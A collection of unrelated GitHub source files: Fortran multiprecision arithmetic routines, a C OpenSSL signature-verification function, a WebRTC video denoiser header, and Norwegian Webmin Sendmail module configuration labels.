mpdiv(ilen,ilen2,irlen,icont,iswq) common ibarray(10000),isarray(1000),igarray(1000),inv(25) common mult1(10000),mult2(10000),mult3(10000),mult4(10000) common mult5(10000) common mat1(20,20),irhs1(20) common mat2(20,20),irhs2(20),jmark(20),markr(20),jx(20) common isol(20) common ip(20) common karr(1600),kbarr(1600),kcarr(3200),ipqt(1600),irrr(1600) common mnum(50) common ia5(5),ia4(5),ia3(5),ia2(5),ia1(5),ia0(5),m1(5),m2(5) common kara(50),karb(50),kard(50),karp(50),karv(50) common iarq(2) common kmpol(6,20) common kdoub1(6,1600),kdoub2(6,1600),kdoub3(12,3200) common ipowar(1600) dimension kdum(1600),isub(1600) if (kbarr(1).eq.0)goto 906 if (ilen2.eq.0)goto 906 do i =1,ilen kdum(i)=karr(i) ipqt(i)=0 end do icont =0 icont2 =0 icong =0 iswm=0 iswq=1 isw2=0 ind2 =ilen2 if(ilen2.ne.1)goto 8 kbarr(2)=0 ilen2=2 ind2=2 ilen=ilen+1 karr(ilen)=0 kdum(ilen)=0 ipqt(ilen)=0 isw2=1 8 if (ilen2.gt.ilen)goto 905 if (ilen2.lt.ilen)goto 10 if (kbarr(1).gt.karr(1))goto 905 do i=1,ilen2 if(kbarr(i).gt.karr(i))goto 905 if(kbarr(i).lt.karr(i))goto 10 end do 10 kbap=kbarr(1) lop =ilen +1 -ilen2 ll=1 201 do i =1,ilen2 if (kbarr(i).eq.kdum(ll+i-1))goto 202 if (kbarr(i).gt.kdum(ll +i-1))goto 203 if(i.gt.2)goto 2021 goto 20 202 end do 2021 icont =ind2 iapd =1 goto 31 203 iapd =int((kdum(ll)*10000 +kdum(ll+1))/(kbap+1)) goto 30 20 kbig = kdum(ll) *10000 +kdum(ll+1) kbap =kbap*10000 +kbarr(2) +1 icont =ind2 iapd=int(kbig/kbap) goto 31 30 icont =ind2 +1 31 ipqt(icont) =ipqt(icont)+iapd icont2 =icont2 +1 do i=icont,2,-1 if (ipqt(i).lt.10000)goto 35 ipqt(i)=ipqt(i)-10000 ipqt(i-1)=ipqt(i-1) +1 end do 35 isub(1)=0 do i=1,ilen2 isub(i+1)= kbarr(i)*iapd end do do i=1,ilen2 ii=ilen2 +2 -i if (isub(ii).lt.10000)goto 37 itemp =int(isub(ii)/10000) irem1 =isub(ii)-itemp *10000 isub(ii) =irem1 isub(ii-1) =isub(ii-1) +itemp 37 end do if(isub(1).ne.0)goto 38 if (kdum(ll).lt.isub(2))goto 38 ilens =ilen2 do i =1,ilens isub(i) =isub(i+1) end do goto 39 38 ilens =ilen2 +1 39 do i =1,ilens ii = ilens +1 -i ig=icont-ilens kdum(ii+ig) =kdum(ii+ig) -isub(ii) if (kdum(ii+ig) .ge.0)goto 40 kdum(ii+ig) =kdum(ii+ig) +10000 kdum(ii+ig-1) =kdum(ii+ig-1) -1 40 end do icong =icong +1 402 do i =1,ilen if(kdum(i).ne.0)goto 70 end do goto 90 150 kbap = kbarr(1) goto 201 70 if (ilen2 +i-1.gt.ilen)goto 90 ll =i ind2 =ll +ilen2-1 if (ind2.lt.ilen)goto 150 do i=1,ilen2 if (kbarr(i).eq.kdum(ll+i-1))goto 71 if (kbarr(i).gt.kdum(ll+i-1))goto 90 if (kbarr(i).lt.kdum(ll+i-1))goto 150 71 end do goto 150 90 do i=1,ilen if (kdum(i).ne.0)goto 92 end do irlen =0 goto 921 92 irlen=ilen +1 -i do j=1,irlen irrr(j)=kdum(i+j-1) end do 921 do i=1,ilen if (ipqt(i).ne.0)goto 901 end do icont =0 goto 902 901 icont =ilen +1 -i do j=1,icont ipqt(j)=ipqt(j+i-1) end do 902 if (isw2.eq.0)goto 910 ilen=ilen-1 ilen2 =ilen2-1 if (irlen.eq.0)goto 910 irlen=irlen-1 goto 910 905 do i=1,ilen irrr(i)=karr(i) end do irlen=ilen icont=0 if (isw2.eq.1)goto 902 goto 910 906 print *,'halted:attempted division by zero' stop 910 return end subroutine mpadd(isora) common ibarray(10000),isarray(1000),igarray(1000),inv(25) common mult1(10000),mult2(10000),mult3(10000),mult4(10000) common mult5(10000) common mat1(20,20),irhs1(20) common mat2(20,20),irhs(20),jmark(20),markr(20),jx(20) common isol(20) common ip(20) common karr(1600),kbarr(1600),kcarr(3200),ipqt(1600),irrr(1600) common mnum(50) common ia5(5),ia4(5),ia3(5),ia2(5),ia1(5),ia0(5),m1(5),m2(5) common kara(50),karb(50),kard(50),karp(50),karv(50) common iarq(2) common kmpol(6,20) common kdoub1(6,1600),kdoub2(6,1600),kdoub3(12,3200) common ipowar(1600) if(karr(2).eq.0)goto 50 if(kbarr(2).eq.0)goto 55 if(kbarr(2).gt.karr(2))goto 2 kmx=0 goto 4 2 kmx=1 4 if((karr(1).eq.kbarr(1)).and.(isora.eq.0))goto 30 if((karr(1).ne.kbarr(1)).and.(isora.eq.1))goto 30 if(karr(2).ne.kbarr(2))goto 22 do i=3,karr(2) +2 if(karr(i).lt.kbarr(i))goto 5 if(karr(i).gt.kbarr(i))goto 24 end do goto 26 22 if(kmx.eq.1)goto 5 24 kcarr(1)=karr(1) do i=2,karr(2)+2 kcarr(i)=karr(i) end do ii=kbarr(2)+2 do i=karr(2)+2,3,-1 kcarr(i)=kcarr(i)-kbarr(ii) if(kcarr(i).ge.0)goto 6 kcarr(i)=kcarr(i)+10000 kcarr(i-1)=kcarr(i-1)-1 6 ii =ii-1 if(ii.lt.3)goto 17 end do 7 do i =3,kcarr(2)+2 if(kcarr(i).ne.0)goto 8 end do 8 kcarr(2) =kcarr(2) +3-i do j=3,kcarr(2) +2 kcarr(j)=kcarr(j+i-3) end do goto 100 5 do i=2,kbarr(2)+2 kcarr(i)=kbarr(i) end do kcarr(1)=mod(kbarr(1)+isora,2) ii =karr(2)+2 do i =kbarr(2)+2,3,-1 kcarr(i)=kcarr(i)-karr(ii) if(kcarr(i).ge.0)goto 16 kcarr(i)=kcarr(i)+10000 kcarr(i-1)=kcarr(i-1)-1 16 ii=ii-1 if(ii.lt.3)goto 17 end do 17 jj=i-1 if(jj.lt.3)goto 7 do j=jj,3,-1 if (kcarr(j).ge.0)goto 7 kcarr(j)=kcarr(j)+10000 kcarr(j-1)=kcarr(j-1)-1 18 end do 26 kcarr(1)=0 kcarr(2)=0 goto 100 30 if(kmx.eq.1)goto 40 do i=3,karr(2)+2 kcarr(i+2)=karr(i) end do kcarr(1)=karr(1) kcarr(2)=karr(2)+2 kcarr(3)=0 kcarr(4)=0 ii =kbarr(2)+2 do i=kcarr(2)+2,3,-1 kcarr(i)=kcarr(i)+kbarr(ii) if(kcarr(i).lt.10000)goto 32 kcarr(i)=kcarr(i)-10000 kcarr(i-1)=kcarr(i-1)+1 32 ii =ii-1 if(ii.lt.3)goto 34 end do 34 jj=i-1 do j=jj,3,-1 if(kcarr(j).lt.10000)goto 36 kcarr(j)=kcarr(j)-10000 kcarr(j-1)=kcarr(j-1)+1 end do 36 do i=3,kcarr(2)+2 if(kcarr(i).ne.0)goto 38 end do 38 kcarr(2)=kcarr(2)+3-i if(i.eq.3)goto 100 do j =3,kcarr(2)+2 kcarr(j)=kcarr(j+i-3) end do goto 100 40 do i=1,kbarr(2)+2 kcarr(i+2)=kbarr(i) end do kcarr(1)=karr(1) kcarr(2)=kbarr(2)+2 kcarr(3)=0 kcarr(4)=0 ii=karr(2)+2 do i=kcarr(2)+2,1,-1 kcarr(i)=kcarr(i) +karr(ii) if(kcarr(i).lt.10000)goto 42 kcarr(i)=kcarr(i)-10000 kcarr(i-1)=kcarr(i-1)+1 42 ii=ii-1 if(ii.lt.3)goto 34 end do goto 34 50 do i=2,kbarr(2)+2 kcarr(i)=kbarr(i) end do kcarr(1)=mod(kbarr(1) +isora,2) if (kcarr(2).ne.0)goto 100 kcarr(1)=0 goto 100 55 do i=1,karr(2)+2 kcarr(i)=karr(i) end do 100 return end subroutine subgcd2(ibig,little,igcd2) common ibarray(10000),isarray(1000),igarray(1000),inv(25) common mult1(10000),mult2(10000),mult3(10000),mult4(10000) common mult5(10000) common mat1(20,20),irhs1(20) common mat2(20,20),irhs2(20),jmark(20),markr(20),jx(20) common isol(20) common ip(20) common karr(1600),kbarr(1600),kcarr(3200),ipqt(1600),irrr(1600) common mnum(50) common ia5(5),ia4(5),ia3(5),ia2(5),ia1(5),ia0(5),m1(5),m2(5) common kara(50),karb(50),kard(50),karp(50),karv(50) common iarq(2) common kmpol(6,20) common kdoub1(6,1600),kdoub2(6,1600),kdoub3(12,3200) common ipowar(1600) 918 itemp=int(ibig/little) irem1=ibig -itemp *little if (irem1.eq.0)goto 940 ibig=little little =irem1 goto 918 940 igcd2=little return end subroutine mpgcd common ibarray(10000),isarray(1000),igarray(1000),inv(25) common mult1(10000),mult2(10000),mult3(10000),mult4(10000) common mult5(10000) common mat1(20,20),irhs1(20) common mat2(20,20),irhs2(20),jmark(20),markr(20),jx(20) common isol(20) common ip(20) common karr(1600),kbarr(1600),kcarr(3200),ipqt(1600),irrr(1600) common mnum(50) common ia5(5),ia4(5),ia3(5),ia2(5),ia1(5),ia0(5),m1(5),m2(5) common kara(50),karb(50),kard(50),karp(50),karv(50) common iarq(2) common kmpol(6,20) common kdoub1(6,1600),kdoub2(6,1600),kdoub3(12,3200) common ipowar(1600) dimension karu(50),karv1(50),karv3(50),karqq(50) dimension kart3(50),kart1(50) karu(1)=0 karu(2)=1 karu(3)=1 do i=1,kara(2)+2 kard(i)=kara(i) end do if (karb(2).eq.0)goto 888 3 karv1(2)=0 karv1(1)=0 do i=1,karb(2) +2 karv3(i)=karb(i) end do 815 if (karv3(2).eq.0)goto 830 do i=3,kard(2)+2 karr(i-2)=kard(i) end do ilen=kard(2) do i=3,karv3(2)+2 kbarr(i-2)=karv3(i) end do ilen2=karv3(2) call mpdiv(ilen,ilen2,irlen,icont,iswq) if (icont.eq.0)goto 4 do i=1,icont karqq(i+2)=ipqt(i) end do 4 karqq(2)=icont karqq(1)=karv3(1) if (irlen.eq.0)goto 41 do i=1,irlen kart3(i+2)=irrr(i) end do kart3(2)=irlen kart3(1)=0 print *,'kart3',(kart3(i),i=1,kart3(2)+2) goto 51 41 kart3(2)=0 kart3(1)=0 51 if (karv1(2).eq.0)goto 6 if (karqq(2).eq.0)goto 6 do i=3,karv1(2) +2 kbarr(i-2)=karv1(i) end do do i=3,karqq(2)+2 karr(i-2)=karqq(i) end do ilen=karqq(2) ilen2=karv1(2) call mpmul(ilen,ilen2,ilen3) do i=1,ilen3 kbarr(i+2)=kcarr(i) end do kbarr(2)=ilen3 kbarr(1)=mod(karqq(1) +karv1(1),2) do i=1,karu(2)+2 karr(i)=karu(i) end do call mpadd(1) do i=1,kcarr(2)+2 kart1(i)=kcarr(i) end do print *,'kart1',(kart1(i),i=1,kart1(2)+2) goto 7 6 do i=1,karu(2)+2 kart1(i)=karu(i) end do karu(1)=0 karu(2)=0 goto 8 7 do i=1,karv1(2)+2 karu(i)=karv1(i) end do 8 do i=1,karv3(2)+2 kard(i)=karv3(i) end do do i=1,kart1(2)+2 karv1(i)=kart1(i) end do do i=1,kart3(2)+2 karv3(i)=kart3(i) end do goto 815 830 if ((kara(2).eq.0).or.(karu(2).eq.0))goto 9 do i=3,kara(2)+2 karr(i-2)=kara(i) end do ilen=kara(2) do i=3,karu(2)+2 kbarr(i-2)=karu(i) end do ilen2=karu(2) call mpmul(ilen,ilen2,ilen3) do i=1,ilen3 kbarr(i+2)=kcarr(i) end do kbarr(2)=ilen3 do i=1,kard(2)+2 karr(i)=kard(i) end do kbarr(1)=mod(kara(1)+karu(1),2) call mpadd(1) do i=3,kcarr(2)+2 karr(i-2)=kcarr(i) end do ksgn=kcarr(1) ilen=kcarr(2) goto 10 9 do i=3,kard(2)+2 karr(i-2)=kard(i) end do ilen =kard(2) ksgn =kard(1) 10 do i=3,karb(2) +2 kbarr(i-2)=karb(i) end do ilen2=karb(2) call mpdiv(ilen,ilen2,irlen,icont,iswq) karv(2)=icont if (icont.eq.0)goto 11 do i=1,icont karv(i+2)=ipqt(i) end do karv(1)=mod(ksgn +karb(1),2) print *,'firkarv',(karv(i),i=1,karv(2)+2) if ((karu(2).eq.0).or.(karu(1).eq.1))goto 890 karr(1)=0 karr(2)=1 karr(3)=1 do i=1,kara(2) +2 kbarr(i)=kara(i) end do call mpadd(1) ksgn=kcarr(1) ilen2=kcarr(2) do i=3,kcarr(2)+2 kbarr(i-2)=kcarr(i) end do do i=3,karv(2)+2 karr(i-2)=karv(i) end do ilen=karv(2) call mpmul(ilen,ilen2,ilen3) karv(1)=mod(ksgn +karv(1),2) karv(2)=ilen3 do i=1,ilen3 karr(i)=kcarr(i) karv(i+2)=kcarr(i) end do do i=3,kara(2)+2 kbarr(i-2)=kara(i) end do ilen2=kara(2) ilen=ilen3 call mpdiv(ilen,ilen2,irlen,icont,iswq) if (karv(1).eq.0)goto 12 do i=1,irlen kbarr(i+2)=irrr(i) end do kbarr(1)=0 kbarr(2)=irlen do i=1,kara(2)+2 karr(i)=kara(i) end do call mpadd(1) do i=1,kcarr(2)+2 karv(i)=kcarr(i) end do goto 890 12 do i=1,irlen karv(i+2)=irrr(i) end do karv(2)=irlen goto 890 11 karv(1)=0 karv(2)=0 goto 890 888 do i=1,karb(2)+2 karv(i)=karb(i) end do 890 karv(1)=0 return end subroutine mpkron(k) common ibarray(10000),isarray(1000),igarray(1000),inv(25) common mult1(10000),mult2(10000),mult3(10000),mult4(10000) common mult5(10000) common mat1(20,20),irhs1(20) common mat2(20,20),irhs2(20),jmark(20),markr(20),jx(20) common isol(20) common ip(20) common karr(1600),kbarr(1600),kcarr(3200),ipqt(1600),irrr(1600) common mnum(50) common ia5(5),ia4(5),ia3(5),ia2(5),ia1(5),ia0(5),m1(5),m2(5) common kara(50),karb(50),kard(50),karp(50),karv(50) common iarq(2) common kmpol(6,20) common kdoub1(6,1600),kdoub2(6,1600),kdoub3(12,3200) common ipowar(1600) dimension karae(50),karde(50),karpe(50),karh(50),ktemp(50) do i=3,kard(2) +2 karr(i-2)=kard(i) end do ksgn=kard(1) ilen =kard(2) kbarr(1)=2 ilen2=1 call mpdiv(ilen,ilen2,irlen,icont,iswq) if (irlen.ne.0)goto 414 do i=3,karp(2)+2 karr(i-2)=karp(i) end do ilen =karp(2) call mpdiv(ilen,ilen2,irlen,icont,iswq) if (irlen.eq.0)goto 512 414 do i=1,karp(2) +2 karpe(i)=karp(i) end do iv =0 do ii=1,100 do i=3,karpe(2)+2 karr(i-2)=karpe(i) end do ilen=karpe(2) call mpdiv(ilen,ilen2,irlen,icont,iswq) if (irlen.ne.0)goto 432 do i=1,icont karpe(i+2)=ipqt(i) end do karpe(2)=icont iv =iv+1 end do print *,'large denominator?' stop 432 ive2 =mod(iv,2) if (ive2.eq.0)goto 444 do i=3,kard(2)+2 karr(i-2)=kard(i) kbarr(i-2)=kard(i) end do ilen =kard(2) ilen2 =kard(2) call mpmul(ilen,ilen2,ilen3) karr(1)=0 karr(2)=ilen3 do i=1,ilen3 karr(i+2)=kcarr(i) end do kbarr(1)=0 kbarr(2)=1 kbarr(3)=1 call mpadd(1) do i=3,kcarr(2) +2 karr(i-2)=kcarr(i) end do ilen=kcarr(2) kbarr(1)=8 ilen2=1 call mpdiv(ilen,ilen2,irlen,icont,iswq) karae(1)=0 karae(2)=icont do i=1,icont karae(i+2)=ipqt(i) end do do i=3,karae(2)+2 karr(i-2)=karae(i) end do ilen=karae(2) kbarr(1)=2 ilen2=1 call mpdiv(ilen,ilen2,irlen,icont,iswq) if (irlen.eq.0)goto 444 k=-1 goto 446 444 k=1 446 do i=1,kard(2)+2 karde(i)=kard(i) end do 452 if (karde(2).eq.0)goto 510 iv =0 do ii=1,100 do i=3,karde(2)+2 karr(i-2)=karde(i) end do ilen =karde(2) kbarr(1)=2 ilen2=1 call mpdiv(ilen,ilen2,irlen,icont,iswq) if (irlen.eq.1)goto 470 iv =iv+1 do i=1,icont karde(i+2)=ipqt(i) end do karde(1)=0 karde(2)=icont end do print *,'warning:numerator very large' stop 470 ive2 =mod(iv,2) if (ive2.eq.0)goto 486 do i=3,karpe(2)+2 karr(i-2)=karpe(i) kbarr(i-2)=karpe(i) end do ilen =karpe(2) ilen2=karpe(2) call mpmul(ilen,ilen2,ilen3) karr(1)=0 karr(2)=ilen3 do i=1,ilen3 karr(i+2)=kcarr(i) end do kbarr(1)=0 kbarr(2)=1 kbarr(3)=1 call mpadd(1) if (kcarr(2).eq.0)goto 466 do i=3,kcarr(2)+2 karr(i-2)=kcarr(i) end do ilen =kcarr(2) kbarr(1)=8 ilen2 =1 call mpdiv(ilen,ilen2,irlen,icont,iswq) do i=1,icont karae(i+2)=ipqt(i) karr(i)=ipqt(i) end do karae(1)=0 karae(2)=icont ilen =icont kbarr(1)=2 ilen2=1 call mpdiv(ilen,ilen2,irlen,icont,iswq) if (irlen.eq.0)goto 466 kmul =-1 goto 468 466 kmul =1 468 k=kmul *k 486 do i=2,karde(2)+2 karr(i)=karde(i) end do karr(1)=ksgn kbarr(1)=0 kbarr(2)=1 kbarr(3)=1 call mpadd(1) if (kcarr(2).eq.0)goto 490 do i=1,kcarr(2) +2 ktemp(i)=kcarr(i) end do do i=1,karpe(2)+2 karr(i)=karpe(i) end do call mpadd(1) if (kcarr(2).eq.0)goto 490 ilen2=kcarr(2) do i=3,kcarr(2) +2 kbarr(i-2)=kcarr(i) end do do i=3,ktemp(2)+2 karr(i-2)=ktemp(i) end do ilen =ktemp(2) call mpmul(ilen,ilen2,ilen3) ilen =ilen3 do i=1,ilen3 karr(i)=kcarr(i) end do kbarr(1)=4 ilen2=1 call mpdiv(ilen,ilen2,irlen,icont,iswq) ilen=icont do i=1,icont karr(i)=ipqt(i) end do kbarr(1)=2 ilen2=1 call mpdiv(ilen,ilen2,irlen,icont,iswq) if (irlen.eq.0)goto 490 kmul =-1 goto 492 490 kmul =1 492 k=kmul *k do i=2,karde(2)+2 karh(i)=karde(i) end do karh(1)=0 do i=3,karde(2) +2 kbarr(i-2)=karde(i) end do ilen2=karde(2) do i=3,karpe(2)+2 karr(i-2)=karpe(i) end do ilen =karpe(2) call mpdiv(ilen,ilen2,irlen,icont,iswq) ksgn=0 if (irlen.eq.0)goto 502 do i=1,irlen karde(i+2)=irrr(i) end do 502 karde(2)=irlen kard(1)=ksgn do i=1,karh(2)+2 karpe(i)= karh(i) end do goto 452 510 if ((karpe(2).eq.1).and.(karpe(3).eq.1))goto 513 512 k=0 513 print *,'k',k return end subroutine doubmul(idegm,idegn,idegp,idprod) common ibarray(10000),isarray(1000),igarray(1000),inv(25) common mult1(10000),mult2(10000),mult3(10000),mult4(10000) common mult5(10000) common mat1(20,20),irhs1(20) common mat2(20,20),irhs2(20),jmark(20),markr(20),jx(20) common isol(20) common ip(20) common karr(1600),kbarr(1600),kcarr(3200),ipqt(1600),irrr(1600) common mnum(50) common ia5(5),ia4(5),ia3(5),ia2(5),ia1(5),ia0(5),m1(5),m2(5) common kara(50),karb(50),kard(50),karp(50),karv(50) common iarq(2) common kmpol(6,20) common kdoub1(6,1600),kdoub2(6,1600),kdoub3(12,3200) common ipowar(1600) dimension mmul(3200) goto 1 kmpol(1,1)=0 kmpol(1,2)=1 kmpol(1,3)=8 kmpol(2,1)=0 kmpol(2,2)=2 kmpol(2,3)=1 kmpol(2,4)=1494 kmpol(3,1)=0 kmpol(3,2)=1 kmpol(3,3)=5547 kmpol(4,1)=0 kmpol(4,2)=1 kmpol(4,3)=957 kmpol(5,1)=0 kmpol(5,2)=1 kmpol(5,3)=6373 1 do i=1,12 do j=1,3200 kdoub3(i,j)=0 end do end do do i=1,idegm+1 do j=1,idegn+1 ilen=kdoub1(i,2) ilen2=kdoub2(j,2) if((ilen.eq.0).or.(ilen2.eq.0))goto 10 do i2=1,ilen karr(i2)=kdoub1(i,i2+2) end do ilen2=kdoub2(j,2) do j2=1,ilen2 kbarr(j2)=kdoub2(j,j2+2) end do call mpmul(ilen,ilen2,ilen3) kbarr(2)=ilen3 do k2=1,ilen3 kbarr(k2+2)=kcarr(k2) end do kbarr(1)=mod(kdoub1(i,1)+kdoub2(j,1),2) goto 12 10 kbarr(1)=0 kbarr(2)=0 12 do i2=1,kdoub3(i+j-1,2)+2 karr(i2)=kdoub3(i+j-1,i2) end do call mpadd(0) do k2=1,kcarr(2)+2 kdoub3(i+j-1,k2)=kcarr(k2) end do end do end do idegg=idegm+idegn idd=idegp print *,'degs',idegg,idegp if (idegg.lt.idegp)goto 102 do j=1,idegg-idegp+1 do i2=1,kdoub3(j,2) +2 mmul(i2)=kdoub3(j,i2) end do do i=1,idd do i2=1,kdoub3(j,2)+2 kdoub3(j,i2)=0 end do ilen=mmul(2) if (ilen.eq.0)goto 60 do i2=3,mmul(2)+2 karr(i2-2)=mmul(i2) end do ilen2=kmpol(i,2) if (ilen2.eq.0)goto 60 do i2=3,kmpol(i,2)+2 kbarr(i2-2)=kmpol(i,i2) end do call mpmul(ilen,ilen2,ilen3) do i2=1,ilen3 kbarr(i2+2)=kcarr(i2) end do kbarr(2)=ilen3 kbarr(1)=mod(mmul(1)+kmpol(i,1)+1,2) do i2=1,kdoub3(i+j,2)+2 karr(i2)=kdoub3(i+j,i2) end do call mpadd(0) do i2=1,kcarr(2)+2 kdoub3(i+j,i2)=kcarr(i2) end do 60 end do if (J.ne.50)goto 601 do jl=1,idegg+1 print *,'mid',(kdoub3(jl,jf),jf=1,kdoub3(jl,2)+2) end do stop 601 end do do i=1,idd do j=1,kdoub3(i+idprod,2)+2 kdoub3(i,j)=kdoub3(i+idprod,j) end do end do 102 return end subroutine modmul(idprod) common ibarray(10000),isarray(1000),igarray(1000),inv(25) common mult1(10000),mult2(10000),mult3(10000),mult4(10000) common mult5(10000) common mat1(20,20),irhs1(20) common mat2(20,20),irhs2(20),jmark(20),markr(20),jx(20) common isol(20) common ip(20) common karr(1600),kbarr(1600),kcarr(3200),ipqt(1600),irrr(1600) common mnum(50) common ia5(5),ia4(5),ia3(5),ia2(5),ia1(5),ia0(5),m1(5),m2(5) common kara(50),karb(50),kard(50),karp(50),karv(50) common iarq(2) common kmpol(6,20) common kdoub1(6,1600),kdoub2(6,1600),kdoub3(12,3200) common ipowar(1600) print *,'idprod',idprod do i=1,idprod+1 ilen2=ipowar(2) do jf=1,ilen2 kbarr(jf)=ipowar(jf+2) end do ilen=kdoub3(i,2) do j=3,kdoub3(i,2)+2 karr(j-2)=kdoub3(i,j) end do call mpdiv(ilen,ilen2,irlen,icont,iswq) if (irlen.eq.0)goto 90 do jf=1,irlen kdoub3(i,jf+2)=irrr(jf) end do kdoub3(i,2)=irlen if (kdoub3(i,1).eq.0)goto 100 do jf=1,ipowar(2)+2 karr(jf)=ipowar(jf) end do kbarr(1)=0 do jf=2,kdoub3(i,2)+2 kbarr(jf)=kdoub3(i,jf) end do call mpadd(1) do jf=1,kcarr(2)+2 kdoub3(i,jf)=kcarr(jf) end do goto 100 90 kdoub3(i,1)=0 kdoub3(i,2)=0 100 end do return end
{ "pile_set_name": "Github" }
#include <verifysig.h> EVP_PKEY* pkey = NULL; void init_public_key() { OpenSSL_add_all_digests(); BIO* bio = BIO_new_mem_buf(key, (int)sizeof(key)); assert(bio != NULL); pkey = PEM_read_bio_PUBKEY(bio, NULL, NULL, NULL); assert(pkey != NULL); BIO_free(bio); } int verify_sig(const byte* msg, size_t mlen, const byte* sig, size_t slen) { /* Returned to caller */ int result = -1; if(!msg || !mlen || !sig || !slen || !pkey) { return -1; } EVP_MD_CTX* ctx = NULL; do { ctx = EVP_MD_CTX_create(); if(ctx == NULL) { printf("EVP_MD_CTX_create failed, error 0x%lx\n", ERR_get_error()); break; } const EVP_MD* md = EVP_get_digestbyname(hn); if(md == NULL) { printf("EVP_get_digestbyname failed, error 0x%lx\n", ERR_get_error()); break; } int rc = EVP_DigestInit_ex(ctx, md, NULL); if(rc != 1) { printf("EVP_DigestInit_ex failed, error 0x%lx\n", ERR_get_error()); break; } rc = EVP_DigestVerifyInit(ctx, NULL, md, NULL, pkey); if(rc != 1) { printf("EVP_DigestVerifyInit failed, error 0x%lx\n", ERR_get_error()); break; } rc = EVP_DigestVerifyUpdate(ctx, msg, mlen); if(rc != 1) { printf("EVP_DigestVerifyUpdate failed, error 0x%lx\n", ERR_get_error()); break; } /* Clear any errors for the call below */ ERR_clear_error(); rc = EVP_DigestVerifyFinal(ctx, sig, slen); if(rc != 1) { printf("EVP_DigestVerifyFinal failed, error 0x%lx\n", ERR_get_error()); break; } result = 0; } while(0); if(ctx) { EVP_MD_CTX_destroy(ctx); ctx = NULL; } return !!result; }
{ "pile_set_name": "Github" }
/* * Copyright (c) 2015 The WebRTC project authors. All Rights Reserved. * * Use of this source code is governed by a BSD-style license * that can be found in the LICENSE file in the root of the source * tree. An additional intellectual property rights grant can be found * in the file PATENTS. All contributing project authors may * be found in the AUTHORS file in the root of the source tree. */ #ifndef MODULES_VIDEO_PROCESSING_VIDEO_DENOISER_H_ #define MODULES_VIDEO_PROCESSING_VIDEO_DENOISER_H_ #include <memory> #include "common_video/include/i420_buffer_pool.h" #include "modules/video_processing/util/denoiser_filter.h" #include "modules/video_processing/util/noise_estimation.h" #include "modules/video_processing/util/skin_detection.h" namespace webrtc { class VideoDenoiser { public: explicit VideoDenoiser(bool runtime_cpu_detection); rtc::scoped_refptr<I420BufferInterface> DenoiseFrame( rtc::scoped_refptr<I420BufferInterface> frame, bool noise_estimation_enabled); private: void DenoiserReset(rtc::scoped_refptr<I420BufferInterface> frame); // Check the mb position, return 1: close to the frame center (between 1/8 // and 7/8 of width/height), 3: close to the border (out of 1/16 and 15/16 // of width/height), 2: in between. int PositionCheck(int mb_row, int mb_col, int noise_level); // To reduce false detection in moving object detection (MOD). void ReduceFalseDetection(const std::unique_ptr<uint8_t[]>& d_status, std::unique_ptr<uint8_t[]>* d_status_red, int noise_level); // Return whether a block might cause trailing artifact by checking if one of // its neighbor blocks is a moving edge block. bool IsTrailingBlock(const std::unique_ptr<uint8_t[]>& d_status, int mb_row, int mb_col); // Copy input blocks to dst buffer on moving object blocks (MOB). void CopySrcOnMOB(const uint8_t* y_src, int stride_src, uint8_t* y_dst, int stride_dst); // Copy luma margin blocks when frame width/height not divisible by 16. void CopyLumaOnMargin(const uint8_t* y_src, int stride_src, uint8_t* y_dst, int stride_dst); int width_; int height_; int mb_rows_; int mb_cols_; CpuType cpu_type_; std::unique_ptr<DenoiserFilter> filter_; std::unique_ptr<NoiseEstimation> ne_; // 1 for moving edge block, 0 for static block. std::unique_ptr<uint8_t[]> moving_edge_; // 1 for moving object block, 0 for static block. std::unique_ptr<uint8_t[]> moving_object_; // x_density_ and y_density_ are used in MOD process. std::unique_ptr<uint8_t[]> x_density_; std::unique_ptr<uint8_t[]> y_density_; // Save the return values by MbDenoise for each block. std::unique_ptr<DenoiserDecision[]> mb_filter_decision_; I420BufferPool buffer_pool_; rtc::scoped_refptr<I420BufferInterface> prev_buffer_; }; } // namespace webrtc #endif // MODULES_VIDEO_PROCESSING_VIDEO_DENOISER_H_
{ "pile_set_name": "Github" }
line1=Konfigurerbare innstillinger,11 mailq_refresh=Sekunder å vente før e-post kø oppfriskes,3,Ikke oppfrisk perpage=E-post kø melding som vises per side,0 wrap_width=Linjebredde som e-post kø meldinger skal deles på,0 sort_mode=Sorter tabeller etter,1,0-Plassering i filen,1-Navn columns=Kolonner for aliaser og andre tabeller,1,2-2,1-1 show_cmts=Vis beskrivelser i tabeller?,1,1-Ja,0-Nei prefix_cmts=Prefiks alle beskrivende kommentarer med <tt>Webmin</tt>?,1,1-Ja,0-Nei send_mode=Send e-post via tilkobling til,3,Sendmail program max_records=Maks antall oppføringer som vises i tabeller,0,6 mailq_show=Headere som skal vises i e-post kø,2,Date-Dato,From-Fra,To-Til,Subject-Emne,Cc-Kopi til,Size-Størrelse,Status-Status,Dir-Katalog mailq_sort=Sorter e-post kø etter,1,0-Kø ID,1-Fra adresse,2-Til adresse,3-Emne,4-Status,5-Størrelse mailq_count=Vis størrelse på e-post kø på hovedsiden,1,0-Ja,1-Nei mailq_order=Rekkefølge ved tømming av e-post kø,1,-Standard,priority-Prioritet,host-Vertsnavn,time-Dato mottatt delete_confirm=Be om bekreftelse før sletting?,1,1-Ja,0-Nei line2=System konfigurasjon,11 sendmail_cf=Full sti til sendmail.cf,8 sendmail_features=Sendmail M4 grunn-katalog,7 sendmail_mc=Full sti til M4 konfig fil,8 sendmail_pid=Full sti til sendmail pid filer,9,40,2,\t sendmail_smf=Solaris SMF tjenestenavn,3,Ingen (bruk PID filer i stedet) sendmail_command=Kommando for å starte sendmail i tjener modus,0 sendmail_stop_command=Kommando for å stoppe sendmail,3,Stopp prosessen sendmail_restart_command=Kommando for å omstarte sendmail,3,Stopp og start makemap_path=Makemap kommando,0 sendmail_path=Sendmail kommando,0 alias_file=Full sti til sendmail aliases fil,3,Automatisk virtusers_file=Kildefil for virtusers database,3,Samme som DBM mailers_file=Kildefil for mailertable database,3,Samme som DBM generics_file=Kildefil for generics database,3,Samme som DBM access_file=Kildefil for aksess databasen,3,Samme som DBM domains_file=Kildefil for domener database,3,Samme som DBM mail_dir=Plassering av fil med brukers e-post,3,Fil under hjemmekatalog mail_file=E-post fil i hjemmekatalog,0 mail_type=E-post lagringstype,1,1-Maildir,0-mbox mail_style=Katalogstil for e-post fil,4,0-mail/username,1-mail/u/username,2-mail/u/us/username,3-mail/u/s/username mail_sync=Synkronisering av brukers e-post fil,2,create-Opprett med bruker,delete-Slett med bruker,modify-Omdøp med bruker smrsh_dir=SMRSH katalog,3,Ingen queue_dirs=Ekstra e-post kø kataloger,3,Ingen rebuild_cmd=Kommando for å gjennoppbygge alle tilordninger,3,Bruk makemap kommando
